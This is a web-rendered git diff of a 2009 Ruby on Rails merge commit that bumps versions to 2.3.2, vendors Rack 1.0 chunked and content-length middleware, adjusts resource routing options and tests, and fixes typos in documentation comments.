diff options
author | Jeremy Kemper <jeremy@bitsweat.net> | 2009-03-18 11:18:48 -0700 |
---|---|---|
committer | Jeremy Kemper <jeremy@bitsweat.net> | 2009-03-18 11:18:48 -0700 |
commit | 6335f5d5186dfb97453dfa1a55aabe4c6f3962b0 (patch) | |
tree | 1582b9b5d7e2005aaa2dfe5a23e2d422fe4f094e | |
parent | 70e3dfb2e9f94396eb6525d13f9adccd3e845c3d (diff) | |
parent | dc88847e5ce392eed210b97525c14fca55852867 (diff) | |
download | rails-6335f5d5186dfb97453dfa1a55aabe4c6f3962b0.tar.gz rails-6335f5d5186dfb97453dfa1a55aabe4c6f3962b0.tar.bz2 rails-6335f5d5186dfb97453dfa1a55aabe4c6f3962b0.zip |
Merge branch 'master' into bodyparts
104 files changed, 2238 insertions, 1203 deletions
diff --git a/actionmailer/CHANGELOG b/actionmailer/CHANGELOG index 2a5e3b81d8..773e603d73 100644 --- a/actionmailer/CHANGELOG +++ b/actionmailer/CHANGELOG @@ -1,10 +1,7 @@ -*2.3.1 [RC2] (March 5, 2009)* +*2.3.2 [Final] (March 15, 2009)* * Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones] - -*2.3.0 [RC1] (February 1st, 2009)* - * Fixed RFC-2045 quoted-printable bug #1421 [squadette] * Fixed that no body charset would be set when there are attachments present #740 [Paweł Kondzior] diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile index 7c27ef450f..f06f18ff76 100644 --- a/actionmailer/Rakefile +++ b/actionmailer/Rakefile @@ -55,7 +55,7 @@ spec = Gem::Specification.new do |s| s.rubyforge_project = "actionmailer" s.homepage = "http://www.rubyonrails.org" - s.add_dependency('actionpack', '= 2.3.1' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.2' + PKG_BUILD) s.has_rdoc = true s.requirements << 'none' diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb index ac843ae6ac..08ff0d2ffb 100644 --- a/actionmailer/lib/action_mailer/version.rb +++ b/actionmailer/lib/action_mailer/version.rb @@ -2,7 +2,7 @@ module ActionMailer module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG index 90232d8c2d..8c9486cc63 100644 --- a/actionpack/CHANGELOG +++ b/actionpack/CHANGELOG @@ -1,4 +1,4 @@ -*2.3.1 [RC2] (March 5, 2009)* +*2.3.2 [Final] (March 15, 2009)* * Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") [DHH] @@ -14,9 +14,6 @@ * Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim] - -*2.3.0 [RC1] (February 1st, 2009)* - * Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 [Eloy Duran] <% form_for @person do |person_form| %> diff --git a/actionpack/Rakefile b/actionpack/Rakefile index 2c0c28b755..6cacdf3c6e 100644 --- a/actionpack/Rakefile +++ b/actionpack/Rakefile @@ -80,7 +80,7 @@ spec = Gem::Specification.new do |s| s.has_rdoc = true s.requirements << 'none' - s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD) s.require_path = 'lib' s.autorequire = 'action_controller' diff --git a/actionpack/lib/action_controller/integration.rb b/actionpack/lib/action_controller/integration.rb index 4faa263e2d..fda6b639d1 100644 --- a/actionpack/lib/action_controller/integration.rb +++ b/actionpack/lib/action_controller/integration.rb @@ -5,7 +5,7 @@ require 'active_support/test_case' module ActionController module Integration #:nodoc: # An integration Session instance represents a set of requests and responses - # performed sequentially by some virtual user. Becase you can instantiate + # performed sequentially by some virtual user. Because you can instantiate # multiple sessions and run them side-by-side, you can also mimic (to some # limited extent) multiple simultaneous users interacting with your system. # diff --git a/actionpack/lib/action_controller/resources.rb b/actionpack/lib/action_controller/resources.rb index 0a89c4b3d5..86abb7b2f4 100644 --- a/actionpack/lib/action_controller/resources.rb +++ b/actionpack/lib/action_controller/resources.rb @@ -630,7 +630,7 @@ module ActionController action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash) action_path ||= Base.resources_path_names[action] || action - map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m) + map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m, { :force_id => true }) end end end @@ -641,9 +641,9 @@ module ActionController map_resource_routes(map, resource, :destroy, resource.member_path, route_path) end - def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil) + def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil, resource_options = {} ) if resource.has_action?(action) - action_options = action_options_for(action, resource, method) + action_options = action_options_for(action, resource, method, resource_options) formatted_route_path = "#{route_path}.:format" if route_name && @set.named_routes[route_name.to_sym].nil? @@ -660,9 +660,10 @@ module ActionController end end - def action_options_for(action, resource, method = nil) + def action_options_for(action, resource, method = nil, resource_options = {}) default_options = { :action => action.to_s } require_id = !resource.kind_of?(SingletonResource) + force_id = resource_options[:force_id] && !resource.kind_of?(SingletonResource) case default_options[:action] when "index", "new"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements) @@ -670,12 +671,7 @@ module ActionController when "show", "edit"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements(require_id)) when "update"; default_options.merge(add_conditions_for(resource.conditions, method || :put)).merge(resource.requirements(require_id)) when "destroy"; default_options.merge(add_conditions_for(resource.conditions, method || :delete)).merge(resource.requirements(require_id)) - else - if method.nil? || resource.member_methods.nil? || resource.member_methods[method.to_sym].nil? - default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements) - else - resource.member_methods[method.to_sym].include?(action) ? default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements(require_id)) : default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements) - end + else default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements(force_id)) end end end diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb index e3e20ed2a3..6349b95094 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb @@ -23,11 +23,12 @@ module Rack # Return the Rack release as a dotted string. def self.release - "0.4" + "1.0 bundled" end autoload :Builder, "rack/builder" autoload :Cascade, "rack/cascade" + autoload :Chunked, "rack/chunked" autoload :CommonLogger, "rack/commonlogger" autoload :ConditionalGet, "rack/conditionalget" autoload :ContentLength, "rack/content_length" diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb new file mode 100644 index 0000000000..280d89dd65 --- /dev/null +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/chunked.rb @@ -0,0 +1,49 @@ +require 'rack/utils' + +module Rack + + # Middleware that applies chunked transfer encoding to response bodies + # when the response does not include a Content-Length header. + class Chunked + include Rack::Utils + + def initialize(app) + @app = app + end + + def call(env) + status, headers, body = @app.call(env) + headers = HeaderHash.new(headers) + + if env['HTTP_VERSION'] == 'HTTP/1.0' || + STATUS_WITH_NO_ENTITY_BODY.include?(status) || + headers['Content-Length'] || + headers['Transfer-Encoding'] + [status, headers.to_hash, body] + else + dup.chunk(status, headers, body) + end + end + + def chunk(status, headers, body) + @body = body + headers.delete('Content-Length') + headers['Transfer-Encoding'] = 'chunked' + [status, headers.to_hash, self] + end + + def each + term = "\r\n" + @body.each do |chunk| + size = bytesize(chunk) + next if size == 0 + yield [size.to_s(16), term, chunk, term].join + end + yield ["0", term, "", term].join + end + + def close + @body.close if @body.respond_to?(:close) + end + end +end diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb index 7869227a36..fe62bd6b86 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb @@ -60,7 +60,7 @@ module Rack body = self else body = [F.read(@path)] - size = body.first.size + size = Utils.bytesize(body.first) end [200, { diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb index f2c976cf46..e38156c7f0 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb @@ -1,3 +1,5 @@ +require 'rack/content_length' + module Rack module Handler class CGI @@ -6,6 +8,8 @@ module Rack end def self.serve(app) + app = ContentLength.new(app) + env = ENV.to_hash env.delete "HTTP_CONTENT_LENGTH" diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb index f03e1615c9..6324c7d274 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb @@ -1,5 +1,6 @@ require 'fcgi' require 'socket' +require 'rack/content_length' module Rack module Handler @@ -29,6 +30,8 @@ module Rack end def self.serve(request, app) + app = Rack::ContentLength.new(app) + env = request.env env.delete "HTTP_CONTENT_LENGTH" diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb index dfc79c204b..c65ba3ec8e 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb @@ -1,5 +1,6 @@ require 'lsapi' -#require 'cgi' +require 'rack/content_length' + module Rack module Handler class LSWS @@ -9,6 +10,8 @@ module Rack end end def self.serve(app) + app = Rack::ContentLength.new(app) + env = ENV.to_hash env.delete "HTTP_CONTENT_LENGTH" env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb index 178a1a8fe4..f0c0d58330 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb @@ -1,5 +1,7 @@ require 'mongrel' require 'stringio' +require 'rack/content_length' +require 'rack/chunked' module Rack module Handler @@ -33,7 +35,7 @@ module Rack end def initialize(app) - @app = app + @app = Rack::Chunked.new(Rack::ContentLength.new(app)) end def process(request, response) diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb index fd18a8359b..9495c66374 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb @@ -1,5 +1,7 @@ require 'scgi' require 'stringio' +require 'rack/content_length' +require 'rack/chunked' module Rack module Handler @@ -14,7 +16,7 @@ module Rack end def initialize(settings = {}) - @app = settings[:app] + @app = Rack::Chunked.new(Rack::ContentLength.new(settings[:app])) @log = Object.new def @log.info(*args); end def @log.error(*args); end diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb index 7ad088b36a..3d4fedff75 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb @@ -1,9 +1,12 @@ require "thin" +require "rack/content_length" +require "rack/chunked" module Rack module Handler class Thin def self.run(app, options={}) + app = Rack::Chunked.new(Rack::ContentLength.new(app)) server = ::Thin::Server.new(options[:Host] || '0.0.0.0', options[:Port] || 8080, app) diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb index 138aae0ee9..829e7d6bf8 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb @@ -1,5 +1,6 @@ require 'webrick' require 'stringio' +require 'rack/content_length' module Rack module Handler @@ -14,7 +15,7 @@ module Rack def initialize(server, app) super server - @app = app + @app = Rack::ContentLength.new(app) end def service(req, res) diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb index ec4dac96f8..44a33ce36e 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb @@ -374,59 +374,43 @@ module Rack ## === The Content-Length def check_content_length(status, headers, env) - chunked_response = false - headers.each { |key, value| - if key.downcase == 'transfer-encoding' - chunked_response = value.downcase != 'identity' - end - } - headers.each { |key, value| if key.downcase == 'content-length' - ## There must be a <tt>Content-Length</tt>, except when the - ## +Status+ is 1xx, 204 or 304, in which case there must be none - ## given. + ## There must not be a <tt>Content-Length</tt> header when the + ## +Status+ is 1xx, 204 or 304. assert("Content-Length header found in #{status} response, not allowed") { not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i } - assert('Content-Length header should not be used if body is chunked') { - not chunked_response - } - bytes = 0 string_body = true - @body.each { |part| - unless part.kind_of?(String) - string_body = false - break - end + if @body.respond_to?(:to_ary) + @body.each { |part| + unless part.kind_of?(String) + string_body = false + break + end - bytes += Rack::Utils.bytesize(part) - } - - if env["REQUEST_METHOD"] == "HEAD" - assert("Response body was given for HEAD request, but should be empty") { - bytes == 0 + bytes += Rack::Utils.bytesize(part) } - else - if string_body - assert("Content-Length header was #{value}, but should be #{bytes}") { - value == bytes.to_s + + if env["REQUEST_METHOD"] == "HEAD" + assert("Response body was given for HEAD request, but should be empty") { + bytes == 0 } + else + if string_body + assert("Content-Length header was #{value}, but should be #{bytes}") { + value == bytes.to_s + } + end end end return end } - - if [ String, Array ].include?(@body.class) && !chunked_response - assert('No Content-Length header found') { - Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i - } - end end ## === The Body diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb index eb1457a850..0ff32df181 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/urlmap.rb @@ -12,7 +12,11 @@ module Rack # first, since they are most specific. class URLMap - def initialize(map) + def initialize(map = {}) + remap(map) + end + + def remap(map) @mapping = map.map { |location, app| if location =~ %r{\Ahttps?://(.*?)(/.*)} host, location = $1, $2 diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb index e86d4ccdcd..0a61bce707 100644 --- a/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb +++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/utils.rb @@ -372,7 +372,7 @@ module Rack data = body end - Utils.normalize_params(params, name, data) + Utils.normalize_params(params, name, data) unless data.nil? break if buf.empty? || content_length == -1 } diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb index f03a2a7605..e0aa2a5f2f 100644 --- a/actionpack/lib/action_pack/version.rb +++ b/actionpack/lib/action_pack/version.rb @@ -2,7 +2,7 @@ module ActionPack #:nodoc: module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb index b7ef1fb90d..c74909a360 100644 --- a/actionpack/lib/action_view/helpers/date_helper.rb +++ b/actionpack/lib/action_view/helpers/date_helper.rb @@ -876,8 +876,8 @@ module ActionView input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '') end - # Given an ordering of datetime components, create the selection html - # and join them with their appropriate seperators + # Given an ordering of datetime components, create the selection HTML + # and join them with their appropriate separators. def build_selects_from_types(order) select = '' order.reverse.each do |type| diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb index 539f43c6e3..dea958deaf 100644 --- a/actionpack/lib/action_view/helpers/number_helper.rb +++ b/actionpack/lib/action_view/helpers/number_helper.rb @@ -140,7 +140,7 @@ module ActionView # number_with_delimiter(12345678) # => 12,345,678 # number_with_delimiter(12345678.05) # => 12,345,678.05 # number_with_delimiter(12345678, :delimiter => ".") # => 12.345.678 - # number_with_delimiter(12345678, :seperator => ",") # => 12,345,678 + # number_with_delimiter(12345678, :separator => ",") # => 12,345,678 # number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",") # # => 98 765 432,98 # diff --git a/actionpack/lib/action_view/paths.rb b/actionpack/lib/action_view/paths.rb index 37d96b2f82..8cc3fe291c 100644 --- a/actionpack/lib/action_view/paths.rb +++ b/actionpack/lib/action_view/paths.rb @@ -61,7 +61,7 @@ module ActionView #:nodoc: end end - return Template.new(original_template_path, original_template_path =~ /\A\// ? "" : ".") if File.file?(original_template_path) + return Template.new(original_template_path, original_template_path.to_s =~ /\A\// ? "" : ".") if File.file?(original_template_path) raise MissingTemplate.new(self, original_template_path, format) end diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb index 0dd3a7e619..c339c8a554 100644 --- a/actionpack/lib/action_view/template.rb +++ b/actionpack/lib/action_view/template.rb @@ -218,7 +218,7 @@ module ActionView #:nodoc: # Returns file split into an array # [base_path, name, locale, format, extension] def split(file) - if m = file.match(/^(.*\/)?([^\.]+)\.(.*)$/) + if m = file.to_s.match(/^(.*\/)?([^\.]+)\.(.*)$/) base_path = m[1] name = m[2] extensions = m[3] diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb index b3f40fbe95..e39a934c24 100644 --- a/actionpack/test/controller/integration_test.rb +++ b/actionpack/test/controller/integration_test.rb @@ -2,7 +2,7 @@ require 'abstract_unit' class SessionTest < Test::Unit::TestCase StubApp = lambda { |env| - [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, "Hello, World!"] + [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]] } def setup @@ -389,9 +389,9 @@ class MetalTest < ActionController::IntegrationTest class Poller def self.call(env) if env["PATH_INFO"] =~ /^\/success/ - [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, "Hello World!"] + [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, ["Hello World!"]] else - [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, ''] + [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] end end end diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb index af623395f0..a52931565d 100644 --- a/actionpack/test/controller/render_test.rb +++ b/actionpack/test/controller/render_test.rb @@ -157,6 +157,11 @@ class TestController < ActionController::Base render :file => 'test/dot.directory/render_file_with_ivar' end + def render_file_using_pathname + @secret = 'in the sauce' + render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb') + end + def render_file_from_template @secret = 'in the sauce' @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')) @@ -861,6 +866,11 @@ class RenderTest < ActionController::TestCase assert_equal "The secret is in the sauce\n", @response.body end + def test_render_file_using_pathname + get :render_file_using_pathname + assert_equal "The secret is in the sauce\n", @response.body + end + def test_render_file_with_locals get :render_file_with_locals assert_equal "The secret is in the sauce\n", @response.body diff --git a/actionpack/test/controller/request/multipart_params_parsing_test.rb b/actionpack/test/controller/request/multipart_params_parsing_test.rb index 054519d0d2..b812072ef4 100644 --- a/actionpack/test/controller/request/multipart_params_parsing_test.rb +++ b/actionpack/test/controller/request/multipart_params_parsing_test.rb @@ -103,7 +103,7 @@ class MultipartParamsParsingTest < ActionController::IntegrationTest test "does not create tempfile if no file has been selected" do params = parse_multipart('none') - assert_equal %w(files submit-name), params.keys.sort + assert_equal %w(submit-name), params.keys.sort assert_equal 'Larry', params['submit-name'] assert_equal nil, params['files'] end diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb index 35f943737f..c807e71cd7 100644 --- a/actionpack/test/controller/resources_test.rb +++ b/actionpack/test/controller/resources_test.rb @@ -175,6 +175,24 @@ class ResourcesTest < ActionController::TestCase end end + def test_with_collection_actions_and_name_prefix_and_member_action_with_same_name + actions = { 'a' => :get } + + with_restful_routing :messages, :path_prefix => '/threads/:thread_id', :name_prefix => "thread_", :collection => actions, :member => actions do + assert_restful_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + actions.each do |action, method| + assert_recognizes(options.merge(:action => action), :path => "/threads/1/messages/#{action}", :method => method) + end + end + + assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options| + actions.keys.each do |action| + assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action + end + end + end + end + def test_with_collection_action_and_name_prefix_and_formatted actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete } @@ -211,7 +229,7 @@ class ResourcesTest < ActionController::TestCase def test_with_member_action_and_requirement expected_options = {:controller => 'messages', :action => 'mark', :id => '1.1.1'} - + with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}, :member => { :mark => :get }) do assert_recognizes(expected_options, :path => 'messages/1.1.1/mark', :method => :get) end diff --git a/actionpack/test/controller/session/cookie_store_test.rb b/actionpack/test/controller/session/cookie_store_test.rb index 9c93ca6539..48a961ca34 100644 --- a/actionpack/test/controller/session/cookie_store_test.rb +++ b/actionpack/test/controller/session/cookie_store_test.rb @@ -199,29 +199,18 @@ class CookieStoreTest < ActionController::IntegrationTest with_test_route_set do # First request accesses the session - time = Time.local(2008, 4, 24) - Time.stubs(:now).returns(time) - expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d-%b-%Y %H:%M:%S GMT") - cookies[SessionKey] = SignedBar get '/set_session_value' assert_response :success + cookie = headers['Set-Cookie'] - cookie_body = response.body - assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", - headers['Set-Cookie'] - - # Second request does not access the session - time = Time.local(2008, 4, 25) - Time.stubs(:now).returns(time) - expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d-%b-%Y %H:%M:%S GMT") - + # Second request does not access the session so the + # expires header should not be changed get '/no_session_access' assert_response :success - - assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly", - headers['Set-Cookie'] + assert_equal cookie, headers['Set-Cookie'], + "#{unmarshal_session(cookie).inspect} expected but was #{unmarshal_session(headers['Set-Cookie']).inspect}" end end @@ -236,4 +225,13 @@ class CookieStoreTest < ActionController::IntegrationTest yield end end + + def unmarshal_session(cookie_string) + session = Rack::Utils.parse_query(cookie_string, ';,').inject({}) {|h,(k,v)| + h[k] = Array === v ? v.first : v + h + }[SessionKey] + verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1') + verifier.verify(session) + end end diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb index 9b4cb64307..f288810d90 100644 --- a/activemodel/lib/active_model/validations/inclusion.rb +++ b/activemodel/lib/active_model/validations/inclusion.rb @@ -4,7 +4,7 @@ module ActiveModel # Validates whether the value of the specified attribute is available in a particular enumerable object. # # class Person < ActiveRecord::Base - # validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!" + # validates_inclusion_of :gender, :in => %w( m f ) # validates_inclusion_of :age, :in => 0..99 # validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension %s is not included in the list" # end diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG index 6d2f597004..c73ac4649e 100644 --- a/activerecord/CHANGELOG +++ b/activerecord/CHANGELOG @@ -1,11 +1,9 @@ -*2.3.1 [RC2] (March 5, 2009)* +*2.3.2 [Final] (March 15, 2009)* * Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck] * Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor] -*2.3.0 [RC1] (February 1st, 2009)* - * Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran] class Book < ActiveRecord::Base diff --git a/activerecord/Rakefile b/activerecord/Rakefile index aec9b3825b..b50008c971 100644 --- a/activerecord/Rakefile +++ b/activerecord/Rakefile @@ -177,7 +177,7 @@ spec = Gem::Specification.new do |s| s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) } end - s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD) s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite" s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite" diff --git a/activerecord/lib/active_record/associations/association_collection.rb b/activerecord/lib/active_record/associations/association_collection.rb index ad375be184..3aef1b21e9 100644 --- a/activerecord/lib/active_record/associations/association_collection.rb +++ b/activerecord/lib/active_record/associations/association_collection.rb @@ -143,6 +143,8 @@ module ActiveRecord end # Remove all records from this association + # + # See delete for more info. def delete_all load_target delete(@target) @@ -200,11 +202,11 @@ module ActiveRecord end end - # Destroy +records+ and remove from this association calling +before_remove+ - # and +after_remove+ callbacks. + # Destroy +records+ and remove them from this association calling + # +before_remove+ and +after_remove+ callbacks. # - # Note this method will always remove records from database ignoring the - # +:dependent+ option. + # Note that this method will _always_ remove records from the database + # ignoring the +:dependent+ option. def destroy(*records) remove_records(records) do |records, old_records| old_records.each { |record| record.destroy } @@ -226,7 +228,9 @@ module ActiveRecord self end - # Destory all the records from this association + # Destory all the records from this association. + # + # See destroy for more info. def destroy_all load_target destroy(@target) diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb index 4ef3cc698b..2a5385119d 100755 --- a/activerecord/lib/active_record/base.rb +++ b/activerecord/lib/active_record/base.rb @@ -736,12 +736,12 @@ module ActiveRecord #:nodoc: # ==== Parameters # # * +id+ - This should be the id or an array of ids to be updated. - # * +attributes+ - This should be a Hash of attributes to be set on the object, or an array of Hashes. + # * +attributes+ - This should be a hash of attributes to be set on the object, or an array of hashes. # # ==== Examples # # # Updating one record: - # Person.update(15, { :user_name => 'Samuel', :group => 'expert' }) + # Person.update(15, :user_name => 'Samuel', :group => 'expert') # # # Updating multiple records: # people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } } diff --git a/activerecord/lib/active_record/batches.rb b/activerecord/lib/active_record/batches.rb index 03bd4f9f93..5a6cecd4ad 100644 --- a/activerecord/lib/active_record/batches.rb +++ b/activerecord/lib/active_record/batches.rb @@ -4,10 +4,12 @@ module ActiveRecord base.extend(ClassMethods) end - # When processing large numbers of records, it's often a good idea to do so in batches to prevent memory ballooning. + # When processing large numbers of records, it's often a good idea to do + # so in batches to prevent memory ballooning. module ClassMethods - # Yields each record that was found by the find +options+. The find is performed by find_in_batches - # with a batch size of 1000 (or as specified by the +batch_size+ option). + # Yields each record that was found by the find +options+. The find is + # performed by find_in_batches with a batch size of 1000 (or as + # specified by the <tt>:batch_size</tt> option). # # Example: # @@ -15,9 +17,10 @@ module ActiveRecord # person.party_all_night! # end # - # Note: This method is only intended to use for batch processing of large amounts of records that wouldn't fit in - # memory all at once. If you just need to loop over less than 1000 records, it's probably better just to use the - # regular find methods. + # Note: This method is only intended to use for batch processing of + # large amounts of records that wouldn't fit in memory all at once. If + # you just need to loop over less than 1000 records, it's probably + # better just to use the regular find methods. def find_each(options = {}) find_in_batches(options) do |records| records.each { |record| yield record } @@ -26,17 +29,22 @@ module ActiveRecord self end - # Yields each batch of records that was found by the find +options+ as an array. The size of each batch is - # set by the +batch_size+ option; the default is 1000. + # Yields each batch of records that was found by the find +options+ as + # an array. The size of each batch is set by the <tt>:batch_size</tt> + # option; the default is 1000. # - # You can control the starting point for the batch processing by supplying the +start+ option. This is especially - # useful if you want multiple workers dealing with the same processing queue. You can make worker 1 handle all the - # records between id 0 and 10,000 and worker 2 handle from 10,000 and beyond (by setting the +start+ option on that - # worker). + # You can control the starting point for the batch processing by + # supplying the <tt>:start</tt> option. This is especially useful if you + # want multiple workers dealing with the same processing queue. You can + # make worker 1 handle all the records between id 0 and 10,000 and + # worker 2 handle from 10,000 and beyond (by setting the <tt>:start</tt> + # option on that worker). # - # It's not possible to set the order. That is automatically set to ascending on the primary key ("id ASC") - # to make the batch ordering work. This also mean that this method only works with integer-based primary keys. - # You can't set the limit either, that's used to control the the batch sizes. + # It's not possible to set the order. That is automatically set to + # ascending on the primary key ("id ASC") to make the batch ordering + # work. This also mean that this method only works with integer-based + # primary keys. You can't set the limit either, that's used to control + # the the batch sizes. # # Example: # diff --git 